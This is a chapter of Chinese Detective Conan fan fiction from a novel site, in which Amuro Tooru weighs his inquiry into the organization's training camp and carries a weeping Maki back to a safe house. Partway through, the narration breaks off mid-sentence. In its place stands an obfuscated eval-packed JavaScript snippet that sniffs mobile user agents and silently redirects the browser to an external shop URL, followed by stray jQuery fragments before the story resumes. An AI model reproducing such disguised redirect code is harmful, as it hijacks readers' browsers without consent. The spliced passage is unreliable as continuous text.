文趣网 > 都市小说 > 酒厂咸鱼想躺平 > 36.回安全屋
    “爸爸!我们才过来多久,你怎么就喝得这么醉了!”毛利兰不满的声音传来。

    “怎么会,这才几杯,不会醉的……”

    “你这明明就是醉了啊!”

    安室透安静地站在一旁,在他们谈话的间隙里笑了笑:“毛利老师,我出去透透气。”

    “……嗯?去吧去吧。”满面通红的毛利小五郎撑着桌沿,向他挥了挥手。

    安室透放下酒杯,理了理衣襟,往外走去。

    “安室哥哥就要走了吗?”

    安室透低头,柯南正仰着脸,眨着那双大眼睛:“是不是去找石川姐姐呀?我刚才看见你们跳舞了。”

    说着,柯南又凑近了一些,压低声音小声说:“安室哥哥,你是被甩了吗?石川姐姐旁边那个帅气的叔叔是谁啊?”

    “柯南,快过来。”毛利兰看到柯南缠着安室透,远远呼唤着。

    “好——这就来!”柯南大声应着,目光却没离开安室透的脸。

    看不出端倪。即使自己说了这么失礼的话,依旧没能在那张脸上找到什么特别的反应。

    柯南不甘心,正要再问,头上便落下一只大手,力道轻柔地摸了摸他的头。

    “小孩子不要想这么多。”安室透的声音和动作一样轻柔。

    头上的力道松开。柯南抬头再看,安室透已经转身,径直朝外走去。

    他撇了撇嘴。

    在初次见到石川真纪的时候,他就不相信这两个人是真情侣。

    虽然嘴上说着亲密的话,但他们两人的肢体互动太生疏了,有时候甚至保持着比陌生人之间更克制的距离感。

    月影岛上,石川真纪害怕的时候没有向安室透求助,也一直看不出想要依赖他的意思。安室透这边也是,大半夜出去找线索,一路上也没想过要给石川真纪打一个电话。

    连叮嘱毛利叔叔一句“等她回来告诉她我去哪了”都没有。

    这要说是情侣,也太怪了吧!根本就不像他们说的那样在热恋期啊?

    “啊!”柯南一惊,失重感袭来,他手忙脚乱地抱住小兰的脖子。

    “柯南——你在干什么啦!”她的声音近在咫尺,说着,又歪着脑袋要看他的脸。一张漂亮的脸上写着生气,“我叫了你很多次哦,你有在听吗?”

    柯南感觉自己的脸立刻烫了起来,慌乱地抬手按在她的脸上,身体往后仰:“兰——小兰姐姐,对不起,我没有听到。”

    “好啦,不要乱动。我知道你肯定又在想什么侦探的谜团啦。”毛利兰把柯南的头按在自己的肩膀上,“只是,无论什么时候都不要离我太远,知道吗?如果找不到你我会很担心的。”

    “嗯。”柯南红着脸小声回答,“对不起,我知道了。”

    小兰身上的香气淡淡的传来,柯南趴在她的肩上,发了一会儿呆,才感觉自己的脑袋重新运转起来。

    他扭头看向安室透离开的方向。

    这点时间,安室透已经不见踪影,彻底消失在了人群里。

    ……线索还不够。

    不过没关系,这点问题才不会难倒他。只要石川真纪和安室透还会一起出现,总有一天,他会把所有真相都查清楚。

    毕竟。

    他可是高中生侦探——工藤新一!

    ......

    安室透快步走入无人的走廊。

    他的指尖在屏幕上飞快敲击着,向风间裕也发布新的任务指令。

    得益于铃木集团今天的展览宴会,酒店监控由警方接管,这样一来,公安这边不费什么力气就得到了监控调阅权限。

    这栋高级酒店大楼高耸入云,不同楼层分区明确,娱乐餐饮一应俱全——当然,最主要的面积还是留给了供旅客入住的酒店房间。

    因为面积广大,监控当然也就十分繁多。

    但实际上,他们并不需要派大部分人力去一一盯着。只要抓住楼道几个关键节点,就已经足够让风间裕也他们追踪到那两人的去向了。

    在这里遇见真纪和莱伊,他的确很意外。

    自从前天晚上眼看着真纪上了琴酒的保时捷,他就没再收到她的消息。当然,也不需要她多说——琴酒亲自前来,无非就是又有什么新任务,让她又开始忙碌工作。

    既然当事人不在,他也就暂时暂停了策反计划,把精力转回了自己之前就在查的任务线索上。

    ——训练营。

    他一直想摸清训练营在组织里的作用,它的性质,有多少人从训练营出身?它又如何运转和存在……

    他确实知道训练营已经被废弃了。

    只是,他总觉得,它没有字面意思上的训练杀手那么简单。

    如果真的只是那样,为什么要废弃呢?如果从孩子们开始培养杀手的效率很低,也不至于彻底停摆吧?

    留下来作为他们这些后进组织的人的培训地点,不也不错吗?

    他实在不明白。

    所以,回到日本后,他一直在搜查着相关信息情报,哪怕是一点线索。

    他找到了。

    早在英国和真纪同居的时候,她就不喜欢处理那些繁琐的任务节点与报告的提交。

    任务内容她当然有做,只要是她在的场合,几乎没有他动手的余地。

    虽说私底下朗姆给他的任务是监视她,但这个和她一起清扫黑/帮的任务他也不能完全撒手不管。

    既然武力上帮不上忙,他就揽下了全部的文书工作。

    平日里,他会在自己的报告写完后,再用她的口吻帮她写下她那一份,这样,她就只需要将写好的报告复制下来,提交上组织就可以了。

    只是有一个很麻烦的地方是,组织用于提交任务的系统页面不允许文本的复制粘贴。

    这样一来,她就只能一个字一个字地对照着将他写的报告打上去。这样做了两次,真纪就干脆地把自己的账户丢给了他,让他直接在上面写完提交。

    这个账号没什么特别的,只是连接着组织内部网络和系统,只能收发任务,不能查询任何东西,也得不到任何任务以外的信息。

    但他确实找到了。

    除去执行组和情报组那些本就不同的任务——他还特意看了Hiro的界面,确实如他所料——即使代号成员级别相同,可以接取的任务依然有隐形条件限制,像训练营这种早期信息,在他们的界面上根本不会显示。

    他用真纪的账号接下了一个训练营的任务。因为系统中他们还是搭档,他这边才得以看到了任务内容。

    之后就是等她从研究所出来,他们前往摄影师山田宣一家中……

    果然,在那里,他发现了新的情报。

    从一张相机SD卡里。

    是的,在山田宣一相机的SD卡里,是存有训练营的照片的。

    不知道是不是被他们突如其来上门的举动吓到了,还是根本没在听他们说话。总之,山田宣一没有拆穿他那番SD卡里没有照片的说辞。

    他悄悄将SD卡收起来,手上装模作样地摆弄着相机。身体背对着真纪,眼睛却一直在透过玻璃的反光留意她的动作。

    然后就看见了那一幕。

    她删除照片的速度很快,动作也很果断。

    就算他上前试探,她也没有露出什么破绽。简直拥有着堪比情报组的演技。

    真是让人没想到,她其实没有她说得那样不擅长伪装啊。

    那么,里面到底有什么呢?

    其实在检查相机的时候他也翻看了,不过是一些建筑之类的照。在后来一个人去到训练营实地搜查的时候,他来来回回地检查了一番,也没看出来有什么特别。

    有什么值得她特地删除、瞒着他,不想让他……或者组织知道的呢?

    深夜独自一人的时候,他将SD卡放入电脑里,一张一张地仔细查看。

    最后,他找到了。

    那是一个人影。

    他修复了人影的样貌特征。有了具体的身形和样貌,又有了调查的范围和方向,他很快就将人影与组织训练营的一位前“教官”对上了号。

    接下来的调查就更轻松了,关于她与这人密切的联系、十几年的“师生”羁绊,以及——那人叛逃当日,她胸口中枪差点死去的信息。

    知道这件事的人,除了嘲笑她的天真与失手,都认定她对此人恨之入骨。

    安室透轻叹了口气,加快了前进的脚步。

    今天,他是追着“教官”的步伐而来的。

    公安在日本的权限级别是最高的。像“教官”这样特征显眼的外国人,只要入境了就不难锁定。

    让他觉得奇怪的是,酒店这片区域离组织很近了,那人却完全没有乔装,就这样用自己的相貌出现在了这里。

    不过,真纪和莱伊一出现,所有的疑问都有了答案。

    真纪就不用多

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729294|205740||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说——按照琴酒以往的作风,“教官”这个差点置她于死地的人,琴酒一定将其视为她的污点,势必会让她亲手了结。所以她和莱伊来到这里的目标,一定也是“教官”。

    而“教官”……他是为她来的吧。

    虽然不知道有什么目的……

    手机轻震。安室透抬手,屏幕的冷光映在他的脸上,信息不断在眼底滚动。

    浏览完毕,他转身走向楼梯。

    此刻,楼内的警力充足,如果动用权限收网,或许可以将爱玛乐酒和莱伊这两名组织成员一网打尽……

    不,还不是时候。

    他不应该介入。

    就在那附近观察一下吧,也许可以收集到一些线索。

    他三两步攀上楼层,推门,闪入走廊,悄无声息地快步前进着。

    刚到一个拐角。眼前晃过一抹亮黄色,他还没意识到那是什么,就已经下意识地伸出手。

    砰——

    突如其来的冲击将他撞退了好几步,差点没稳住自己的身体。

    胸口被撞得闷痛,他的手臂虚环着她,僵在了原地,不知道该作何反应。

    可没等他做什么反应。

    怀里的人抬起了脸。

    安室透忍不住屏住了呼吸。

    那双总是带笑的眼睛此刻平静无波地睁着,在看见他的瞬间,眼角的泪立刻淌了下来。

    水珠经由她的脸,滴落在了他的衣襟上。

    “安室透。”

    她嘴唇颤抖了一下,才发出带着委屈的哽咽:

    “……你怎么在这里啊。”

    ……

    他不记得自己是否回答了。

    只记得自己手忙脚乱,几乎是半拖半抱地将真纪带进了最近的楼梯间里。

    天色已经晚了,楼梯间的感应灯没有听到声音,很快也暗了下去。他们陷入了黑暗中。

    安室透试探着稍稍向后仰头,那双手臂却更紧地缠了上来,压下他的脖颈不让他动作。

    细密的发丝蹭得他下颌发痒。他滚了滚喉结,忍住皮肤上的痒意,努力放松身体配合她的动作。

    楼梯间里一片漆黑。

    他望着天花板,耳边是她不住的哽咽。

    周围太安静了,细小的抽泣在寂静中就显得格外清晰。

    ……发生什么事了?

    怎么自己跑出来?为什么哭了?去时还好好的,怎么就变成现在这样了呢?

    任务成功了?还是失败?为什么这么伤心?是被莱伊欺负了吗?还是……那个“教官”?

    他有这么多的疑问。

    最后还是咽下去了。

    她不是一个爱哭的人。认识她这么久,无论是任务导致的疲惫,还是打斗中受了伤,她总是很乐观,转眼又是乐呵呵的样子。

    好像所有困难在她面前都不算什么。

    可现在……

    他沉默着,抬手轻轻按住她的腰,试着往外推了推。

    她的抽噎声瞬时变得更大了,呼吸也越来越乱。他立刻松开手,手臂僵在半空中,不知道该如何是好。

    虽然及时停下,但这个举动却像按下了某个开关——真纪的哭声再也压不住了,上气不接下气地抽泣着,仿佛他这一轻轻推,就让她受了天大的委屈。

    情况越来越坏,他却毫无办法。

    她带着热意的呼吸好像能透过衬衫扑上胸膛。这才过去多久啊,她的眼泪已经不知道浸湿了他多大一片衣料。

    ……这样他还怎么回到宴会厅呢。

    安室透叹了口气。

    他抬起手握住她的肩,用力地推开她。

    她红着眼,茫然地看着他。

    他没有说话,弯下腰,伸出手臂一揽,就将她整个人托抱了起来。

    她像是被他突然的动作吓了一条,打了个嗝。愣了几秒,就不管不顾地就着坐在他手臂的姿势,抱住了他的脑袋。

    安室透开始下楼梯。

    一层,又一层。楼梯间的窗景随着楼层的变换而变换,夜晚的月亮幽幽地向下洒着光。

    并不明亮,却足够照亮他们脚下的路。

    即使抱着一个人往下走,他的脚步依旧很稳。

    快走到一楼的时候,他听见头顶传来一个闷闷的声音。

    “……去哪。”

    安室透无声地笑了笑。

    “回去了。”他说,“回到安全屋里。”